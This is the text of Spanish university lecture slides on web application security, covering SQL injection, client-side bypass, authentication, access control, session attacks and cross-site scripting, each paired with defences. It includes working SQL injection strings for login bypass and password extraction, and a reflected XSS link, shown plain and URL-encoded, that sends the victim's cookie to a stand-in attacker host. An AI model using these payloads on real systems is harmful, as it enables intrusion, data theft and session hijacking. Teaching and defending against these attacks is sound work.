seguridad en aplicaciones web - index-of.co.ukindex-of.co.uk/tutorials/seguridad.pdf · i transmisi...

64
Seguridad en Aplicaciones Web Jes us Arias Fisteus Aplicaciones Web (2016/17) Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 1

Upload: others

Post on 25-Mar-2020

5 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Seguridad en Aplicaciones Web

Jesus Arias Fisteus

Aplicaciones Web (2016/17)

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 1

Page 2: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Parte I

Introduccion

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 2

Page 3: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Seguridad en aplicaciones Web

This site is absolutely secure. It has been designed touse 128-bit Secure Socket Layer (SSL) technology toprevent unauthorized users from viewing any of yourinformation. You may use this site with peace of mindthat your data is safe with us.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 3

Page 4: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Seguridad en aplicaciones Web

Bag Check

A laptop battery contains roughly the stored energy of a hand grenade, and ifshorted it ... hey! You can’t arrest me if I prove your rules inconsistent!

http://xkcd.com/651/

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 4

Page 5: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Seguridad en aplicaciones Web

http://geekandpoke.typepad.com/geekandpoke/2011/05/

everybody-has-to-set-priorities.html

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 5

Page 6: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Errores mas peligrosos en programas

I 2011 CWE/SANS Top 25 Most Dangerous Software ErrorsI http://cwe.mitre.org/top25/

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 6

Page 7: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Seguridad en aplicaciones Web

¡Los usuarios pueden enviardatos arbitrarios a la

aplicacion!

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 7

Page 8: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Envıo de datos arbitrarios

I Los usuarios pueden:I Alterar cualquier dato transferido al servidor: parametros de la

peticion, cookies, cabeceras HTTP.I Enviar peticiones en secuencias arbitrarias, enviar parametros

en peticiones en que el servidor no lo espera, no enviarlos,enviarlos mas de una vez.

I Usar herramientas distintas a un navegador Web para atacarmas facilmente la aplicacion.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 8

Page 9: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Envıo de datos manipulados

I En la mayorıa de los ataques se envıan datos manipuladospara causar un efecto no deseado en la aplicacion. Ejemplos:

I Cambio del precio de un producto en un campo oculto de unformulario.

I Modificar el token de sesion.I Eliminar algunos parametros que el servidor espera.I Alterar datos que van a ser procesados por una base de datos.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 9

Page 10: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Parte II

Ataques al almacenamiento de datos

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 10

Page 11: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ataques al almacenamiento de datos

I Principales ataques:I Bases de datos SQL (inyeccion de SQL).I Bases de datos XML.I Directorios LDAP.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 11

Page 12: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ataques al almacenamiento de datos

Exploits of a Mom

http://xkcd.com/327/

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 12

Page 13: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Como se explota la sintaxis de SQL

I La comilla simple es un caracter especial en SQL que se utilizapara delimitar cadenas de texto.

I La secuencia -- (comentario) invalida el resto del comando.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 13

Page 14: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Esquivar la autenticacion

I Codigo fuente de la aplicacion:

1 String name = request.getParameter("name");2 String password = request.getParameter("password");3 String query =4 "SELECT id, name , fullName , balance FROM Users "5 + "WHERE name='" + name6 + "' AND password='" + password + "'";

I Ataque con el siguiente valor en nombre:

juan' -- '

1 SELECT id, name , fullName , balance2 FROM Users3 WHERE name='juan' -- '' AND password=''

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 14

Page 15: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Esquivar la autenticacion

I Si no se conoce el nombre del usuario, se puede obtener elprimero.

I Ataque con el siguiente valor en nombre:

' OR 1=1 -- '

1 SELECT id, name , fullName , balance2 FROM Users3 WHERE name='' OR 1=1 -- '' AND password=''

I En muchas aplicaciones el primer usuario es el administrador,que cuenta con privilegios especiales.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 15

Page 16: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Tipos de consultas vulnerables

I Cualquier tipo de consulta es vulnerable (SELECT, INSERT,UPDATE, etc.)

I Se puede inyectar tanto en datos textuales como en datosnumericos.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 16

Page 17: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ataques a consultas INSERT

I Se inyecta mas de un valor en un unico campo del formulario:

1 String name = request.getParameter("name");2 String fullName = request.getParameter("fullName");3 String password = request.getParameter("password");4 int balance = 0;5 String query =6 "INSERT INTO Users (name , password , "7 + "fullName , balance) VALUES "8 + "('" + user.getName () + "', '"9 + user.getPassword () + "', '"

10 + user.getFullName () + "', "11 + user.getBalance () + ")";

I Ataque con el siguiente valor en fullName:

Manolo Gonzalez', 200000) -- '

1 INSERT INTO Users2 (name , password , fullName , balance)3 VALUES4 ('Cris', 'crispwd ', 'Cris Roig', 20000.0) -- '', 0.0)

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 17

Page 18: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ataques con UNION

I El comando UNION permite combinar resultados de dosconsultas y puede ser usado tambien en ataques:

1 int genre = request.getParameter("genre");2 String query =3 "SELECT id, title , author , genre , pages "4 + "FROM Books WHERE genre=" + genre;

I Ataque con el siguiente valor en genero:

1 UNION SELECT NULL, name, password, NULL, NULL

FROM Users

1 SELECT id, title , author , genre , pages2 FROM Books3 WHERE genre=14 UNION5 SELECT NULL , name , password , NULL , NULL6 FROM Users

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 18

Page 19: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Nombres de tablas y columnas

I Para realizar algunos tipos de ataques es necesario conocernombres de tablas y columnas.

I A veces los nombres son predecibles. Si no, se puedendescubrir con consultas inyectadas con UNION.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 19

Page 20: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Nombres de tablas y columnas

1 UNION

SELECT NULL, TABLE_SCHEMA, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

1 UNION

SELECT NULL, TABLE_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_SCHEMA='SecurityDemo'

1 UNION

SELECT NULL, COLUMN_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_SCHEMA='SecurityDemo'

AND TABLE_NAME='Users'

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 20

Page 21: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Inyeccion de segundo orden

I Aun filtrando correctamente comillas (sustitucion de comillasimple por doble), futuras consultas son vulnerables si seinsertan en la base de datos valores con comilla simple.

I Las comillas no son necesarias en campos numericos.I El comentario se reemplaza por “or 'a'='a”.I El bloqueo de palabras clave se puede esquivar a veces:

I SeLeCtI SELSELECTECT

I Si se filtran blancos, se puede insertar comentarios “/**/”.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 21

Page 22: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Defensa frente a estos ataques

I Usar PreparedStatement o equivalente:I En todas las consultas, no solo en las que toman datos

directamente del usuario.

I Usar el nivel de privilegios mas bajo posible.

I Deshabilitar funciones innecesarias de las bases de datos.

I Mantener el gestor de bases de datos siempre actualizado.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 22

Page 23: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Otros ataques de inyeccion de codigo

I Otros ataques similares por inyeccion de codigo:I Inyeccion en comandos del sistema operativo.I Inyeccion en lenguajes de scripting.I Inyeccion en JSON.I Inyeccion en XML.I Inyeccion en LDAP.I Inyeccion en correo electronico.I Inyeccion en cabeceras de HTTP.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 23

Page 24: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Parte III

Esquivar controles en el cliente

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 24

Page 25: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Datos recibidos del cliente

I Datos enviados por el servidor a traves del cliente.

I Datos recogidos por el cliente.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 25

Page 26: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Datos enviados a traves del cliente

I Enviados tıpicamente mediante:I Campos ocultos en formularios.I Cookies HTTP.I Parametros en URLs.I Cabeceras HTTP.

I Son susceptibles de ser modificados por el usuario.

I Incluso en ocasiones a pesar de ser “opacos”.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 26

Page 27: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Campos ocultos en formularios

1 <form method="post" action="Shop.aspx?prod=1">2 <p>Product: iPhone 6S 64GB</p>3 <p>Price: 659.62 </p>4 <label>Quantity: <input type="text" name="quantity"></label >5 <input type="hidden" name="price" value="659.62">6 <input type="submit" value="Buy">7 </form>

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 27

Page 28: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Cookies HTTP

HTTP/1.1 200 OK

Set-Cookie: DiscountAgreed=25

Content-Length: 1530

(...)

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 28

Page 29: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Datos recogidos por el cliente

I Recogidos tıpicamente mediante:I Formularios HTML.I Javascript, Flash, etc.

I Son susceptibles de ser establecidos arbitrariamente por elusuario saltando la validacion del lado del cliente(restricciones en el formulario, validaciones JavaScript, etc.)

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 29

Page 30: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Proteccion frente a estos ataques

I Para proteger la aplicacion, es recomendable:I No enviar datos sensibles a traves del cliente:

I Si no queda mas remedio, cifrarlos o firmarlos (cuidado conataques por repeticion y ataques con texto claro conocido).

I Validar en el servidor todos los datos procedentes del cliente.I Sistema de logs, monitorizacion y alertas.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 30

Page 31: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Parte IV

Ataques a los mecanismos de

autenticacion

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 31

Page 32: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ataques a la autenticacion

I Errores en la autenticacion:I Errores de diseno.I Errores de implementacion.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 32

Page 33: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ataques a la autenticacion

http://abstrusegoose.com/296

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 33

Page 34: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Errores de diseno (I)

I Contrasenas debiles.

I Posibilidad de ataques de fuerza bruta.

I Mensajes de error detallados.

I Transmision vulnerable de credenciales.

I Funcionalidad de cambio de contrasena.

I Funcionalidad de “contrasena olvidada”.

I Funcionalidad “recuerdame”.

I Funcionalidad de impersonacion de usuarios.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 34

Page 35: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Errores de diseno (II)

I Validacion de credenciales incompleta.

I Nombres de usuario no unicos.

I Nombres de usuario predecibles.

I Contrasenas iniciales predecibles.

I Distribucion insegura de credenciales.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 35

Page 36: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Errores de implementacion

I Errores en la logica de la aplicacion.

I Defectos en mecanismos de autenticacion multi-paso.

I Almacenamiento inseguro de credenciales.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 36

Page 37: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ejemplo

1 public void doGet(HttpServletRequest request ,2 HttpServletResponse response)3 throws ServletException , IOException {4 User user = null;5 try (DBManager db = new DBManager ()) {6 String userName = request.getParameter("username");7 String password = request.getParameter("password");8 user = db.getUser(userName , password);9 if (user == null) {

10 // invalid credentials11 response.sendRedirect("loginFailed");12 }13 } catch (Exception e) {}14

15 // valid credentials16 session.setAttribute("user", user);17 RequestDispatcher rd =18 request.getRequestDispatcher("mainView");19 rd.forward(request , response);20 }

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 37

Page 38: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Proteccion de los mecanismos de autenticacion

I Usar credenciales robustas.

I Manejar credenciales confidencialmente.

I Validar credenciales apropiadamente.

I Prevenir fuga de informacion.

I Prevenir ataques de fuerza bruta.

I Evitar uso fraudulento de la funcionalidad de cambio decontrasena.

I Evitar uso fraudulento de la funcionalidad de recordarcontrasena.

I Sistema de logs, monitorizacion y alertas.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 38

Page 39: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Parte V

Ataques al control de acceso

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 39

Page 40: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ataques al control de acceso

I El usuario accede a recursos o acciones para los que no estaautorizado:

I Escalada vertical de privilegios.I Escalada horizontal de privilegios.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 40

Page 41: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Vulnerabilidades en el control de acceso

I Funcionalidad sin proteger en absoluto: por ejemplo,suponiendo URLs desconocidas.

I Funciones basadas en identificador de recurso supuestamentedesconocido.

I Funciones multi-etapa.

I Acceso sin control a ficheros estaticos.I Control de acceso inseguro: basado en datos enviados por el

cliente.I Ejemplo: http://www.test.com/?admin=true

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 41

Page 42: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Proteccion del control de acceso (I)

I No basarse en el desconocimiento por el usuario de URLs oidentificadores.

I No pasar datos relativos al control de acceso a traves delusuario.

I No asumir una secuencia concreta en las peticiones.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 42

Page 43: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Proteccion del control de acceso (II)

I Buenas practicas:I Documentar y evaluar el sistema de control de acceso.I Basar las decisiones en la sesion del usuario.I Usar un componente central para tomar las decisiones sobre el

acceso a recursos.I Restringir funcionalidad delicada por rango de IPs.I Controlar el acceso a ficheros estaticos.I Validar identificadores de recurso siempre que vengan del

cliente.I Nueva autenticacion en funcionalidad sensible.I Sistema de logs de acceso.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 43

Page 44: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Parte VI

Ataques a la gestion de sesiones

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 44

Page 45: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ataques a la gestion de sesiones

I La autenticacion de usuarios se complementa con mecanismosde gestion de sesiones:

I Token de sesion: identificador que envıa el cliente en suspeticiones, con frecuencia en una cookie, para que el servidoridentifique a que sesion pertenecen.

I Dos grupos de vulnerabilidades principalmente:I Generacion de tokens de sesion debiles.I Debilidades en el manejo de tokens de sesion durante su ciclo

de vida.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 45

Page 46: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Generacion de tokens debiles

I Tokens con significado deducible:I Nombre de usuario, id de usuario en la base de datos, fecha,

numero secuencial o secuencia deducible, direccion IP,direccion de correo electronico, etc.

user=daf;app=admin;date=10/09/11

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 46

Page 47: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Generacion de tokens debiles

I Tokens predecibles:I Incluyen informacion temporal, secuencias facilmente

deducibles, secuencias pseudoaleatorias.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 47

Page 48: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Debilidades en el manejo de tokens de sesion (I)

I Interceptacion en la red del token:I Uso de HTTP en las comunicaciones.I Problemas en el uso de HTTPS:

I Uso solo en el procedimiento de autenticacion.I Uso de token previo obtenido por HTTP.I Peticiones por HTTP despues de haber entrado en HTTPS:

por ejemplo, ficheros estaticos por HTTP, boton atras, etc.I Induccion por el atacante a realizar una peticion HTTP (por

correo electronico, desde otros sitios Web, etc.)

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 48

Page 49: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Debilidades en el manejo de tokens de sesion (II)

I Exposicion del token en logs o aplicaciones de gestion.

I Mapeo vulnerable de tokens a sesiones.

I Terminacion de sesion vulnerable: no hay funcion cierre desesion o no se invalida el token en el servidor.

I Secuestro de tokens o fijacion de tokens mediante cross-sitescripting, peticiones cross-site, etc.

I Dominio de las cookies demasiado amplio.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 49

Page 50: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Proteccion del mecanismo de sesiones (I)

I Generacion de tokens robustos:I Gran numero de posibles valores.I No incluir mas informacion que un identificador.I Buen generador de numeros pseudoaleatorios.I Introducir otros datos como fuente de aleatoriedad: IP y

puerto cliente, cabecera User-Agent, fecha y hora con muchaprecision, clave adicional solo conocida por el servidor yrefrescada en cada arranque.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 50

Page 51: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Proteccion del mecanismo de sesiones (II)

I Proteccion de los tokens:I Trasmision del token solo por HTTPS (cookies solo HTTPS).I Nunca transmitir tokens en la URL.I Cierre de sesion que invalide el token en el servidor.I Expiracion de sesiones por inactividad.I Evitar sesiones simultaneas del mismo usuario.I Proteger aplicaciones de gestion que permitan ver los tokens.I Restringir el dominio y ruta de las cookies.I Evitar vulnerabilidades cross-site scripting.I No aceptar tokens arbitrarios puestos por el usuario.I Iniciar una nueva sesion siempre tras la autenticacion.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 51

Page 52: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Proteccion del mecanismo de sesiones (III)

I Tokens distintos para cada pagina.

I Sistema de logs, monitorizacion y alertas.

I Cierre de sesion ante cualquier tipo de error en la entrada delusuario.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 52

Page 53: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Parte VII

Ataques a usuarios

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 53

Page 54: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Ataques a usuarios

I Existe un conjunto de tecnicas cuyo objetivo es atacar a otrosusuarios de una aplicacion Web:

I Cross-site scripting.I Induccion de acciones del usuario:

I On Site Request Forgery.I Cross-Site Request Forgery.I UI Redress

I Captura de datos desde otros dominios.I Fijacion de sesiones.I Redireccion abierta.I Inyeccion de SQL en el cliente.I Ataques al navegador.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 54

Page 55: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Cross-site scripting

I Tres tipos principales de ataque:I Reflejado.I Almacenado.I Basado en DOM.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 55

Page 56: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Cross-site scripting reflejado

I Se produce cuando una aplicacion muestra directamente datosenviados como parametros de la peticion por el usuario.

I Por ejemplo, paginas de error con mensaje recibido comoparametro:

http://example.com/Error?message=Sorry%2c+an+error+occurred

I El cliente puede inyectar codigo Javascript que se ejecutara enel navegador.

http://example.com/Error?message=<script>var+i=new+Image;+i.src="http://mdattacker.net/"%2bdocument.cookie;</script>

I Los enlaces se pueden disimular con codificacion URL:

http://example.com/Error?message=%3c%73%63%72%69%70%74%3e%76%61%72%2b%69%3d%6e%65%77%2b%49%6d%61%67%65%3b%20%2b%69%2e%73%72%63%3d%22%68%74%74%70%3a%2f%2f%6d%64%61%74%74%61%63%6b%65%72%2e%6e%65%74%2f%22%25%32%62%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 56

Page 57: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Cross-site scripting reflejado

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 57

Page 58: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Cross-site scripting reflejado

I Envıo del enlace malicioso al usuario:I Por correo electronico.I En mensajerıa instantanea.I Desde un sitio Web de terceros o del atacante.I Mediante redes de publicidad.I Mediante acciones enviar a un amigo o informar al

administrador en el sitio Web atacado.

Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 58

Page 59: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad

Cross-site scripting almacenado

I El atacante introduce texto en la base de datos del sitio Webque posteriormente se muestra a otros usuarios.

I El atacante puede inyectar codigo Javascript en dicho texto,que se ejecutara en el navegador de otros usuarios del sistema,incluso de administradores.

I Mas peligroso que el reflejado, porque el atacado estaautenticado y no es necesario inducirlo a activar ningun enlace.

